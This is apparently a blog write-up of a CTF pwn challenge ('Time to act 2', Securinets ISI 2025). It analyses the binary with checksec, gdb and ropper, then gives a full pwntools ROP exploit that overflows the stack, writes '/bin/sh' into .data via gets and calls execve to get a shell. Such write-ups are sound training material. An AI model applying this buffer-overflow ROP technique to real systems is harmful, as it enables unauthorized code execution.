Post

Friendly Securinets ISI 2025 - Time to act 2

Friendly Securinets ISI 2025 - Time to act 2

[Time to act 2] Writeup

Category: [pwn]
Points: [500]
Author: hyzr

Tools Used

  • gdb / ropper / readelf
  • python3 (pwntools) for exploit scripting

Analysis

  • Let’s run the basics commands file and checksec on the binary and see what we’ll get :

file and checksec output

  • RELRO is partial which means we can overwrite some regions of the binary with whatever we want and this will be very helpful and make a lot of thing easier for us, and when i execute the binary this is what it outputs :

binary output

  • Let’s quickly use gdb to see what we have and calculate the offset to rip just like we did in the previous task.

gdb output

info func

disassembly of vuln

strings output

  • This challenge is exactly the same as the previous one ( time to act 1 ) with a small twist , instead of system we have execve and we don’t directly have the string /bin/sh , and to spawn a shell using execve we need to call it like that execve(“/bin/sh” , 0 , 0); so we need to set up the arguments using rdi = “/bin/sh” (we’ll talk how to get it) , both rsi and rdi = 0 , don’t understand why these registers specifically ? do a bit of research about System V AMD64 ABI x86_64 , i will extract the gadgets as follows , i always keep a ret gadget in case of a misalignment issue to align the stack :

ropper output

ropper output

  • So when RELRO is partial we can write somewhere in the binary whatever we need wether it’s a shellcode or a rop chain or even a simple string like “/bin/sh” usually in .data or .bss sections , let’s see their addresses and if they have enough space or no ( > 7 bytes ) , we can see the elf sections with this command : readelf -S ./main :

readelf output

  • Now we need to write somewhere they both fine but usually bss is safer bcz .data holds initialized variables (global / static …) while .bss uninitialized variables and our program might have sensitive variables but in our case it dosent and they both works fine ! now using the function gets we will right there , gets takes input until it finds a newline \n or EOF so we dont have to worry about extra characters in the end :D .

Exploitation / Solution

  • now finally we can start writing the exploit script and this is what i ended up writing remember we are calling gets and writing what we’ll later send to execve to spawn a shell so don’t forget to write /bin/sh when gets is triggered , it worked locally and remotely :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process("./main")
#p = remote("4.233.145.123" , 12002)

data = 0x404028
execve = 0x4010b0
gets = 0x4010c0

pop_rdi_ret = 0x4011be
pop_rdx_ret = 0x4011c2
pop_rsi_ret = 0x4011c0
ret = 0x40101a

main_test = 0x40129d

pay = b"A"*0x108 + p64(pop_rdi_ret) + p64(data) +  p64(gets)
pay += p64(pop_rdi_ret) + p64(data) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(execve)

p.recvuntil(b">")
p.sendline(pay)
p.interactive()


  • if we run it we get this :

solver.py output

  • Thanks for reading hope this was helpful !
This post is licensed under CC BY 4.0 by the author.